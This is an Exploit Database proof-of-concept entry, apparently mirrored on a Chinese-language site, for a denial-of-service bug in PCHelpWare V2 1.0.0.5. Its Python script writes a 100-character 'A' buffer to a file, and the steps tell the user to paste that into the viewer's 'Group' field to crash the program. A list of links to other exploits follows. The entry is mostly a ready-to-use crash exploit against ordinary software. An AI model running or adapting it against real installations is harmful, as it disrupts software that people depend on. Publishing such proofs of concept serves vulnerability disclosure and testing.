PCHelpWare V2 1.0.0.5 – ‘Group’ Denial of Service (PoC)

Exploit Database
99 阅读

作者： Alejandra Sánchez

日期： 2019-04-16
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/46709/

# -*- coding: utf-8 -*-
# Exploit Title: PCHelpWareV2 1.0.0.5 - 'Group' Denial of Service (PoC)
# Date: 15/04/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.uvnc.com/home.html
# Software Link: http://www.uvnc.eu/download/pchw2/PCHelpWareV2.msi
# Version: 1.0.0.5
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "PCHelpWareV2.py", it will create a new file "PCHelpWareV2.txt"
# 2.- Copy the text from the generated PCHelpWareV2.txt file to clipboard
# 3.- Open PCHelpWareV2 Viewer
# 4.- Go to Properties
# 5.- Paste clipboard in 'Group' field and click on button 'Ok'
# 6.- Crashed

buffer = "\x41" * 100
f = open ("PCHelpWareV2.txt", "w")
f.write(buffer)
f.close()

last Exploits
PCHelpWare V2 1.0.0.5 – ‘Group’ Denial of Service (PoC)的更多信息

Linux Kernel < 4.5.1 - Off-By-One (PoC)：
Microsoft Internet Explorer 10 – MSHTML ‘CEditAdorner::Detach’ Use-After-Free (MS13-047)：
Adobe Flash TextField.sharpness Setter – Use-After-Free：
Apache Tomcat 10.1 – Denial Of Service：
Kwik Pay Payroll 4.10.3 – ‘.zip’ Denial of Service：
Anyburn 4.3 – ‘Convert image to file format’ Denial of Service：
Acoustica Pianissimo 1.0 Build 12 – ‘Registration ID’ Buffer Overflow (PoC)：
Skia – Incorrect Convexity Assumptions Leading to Buffer Overflows：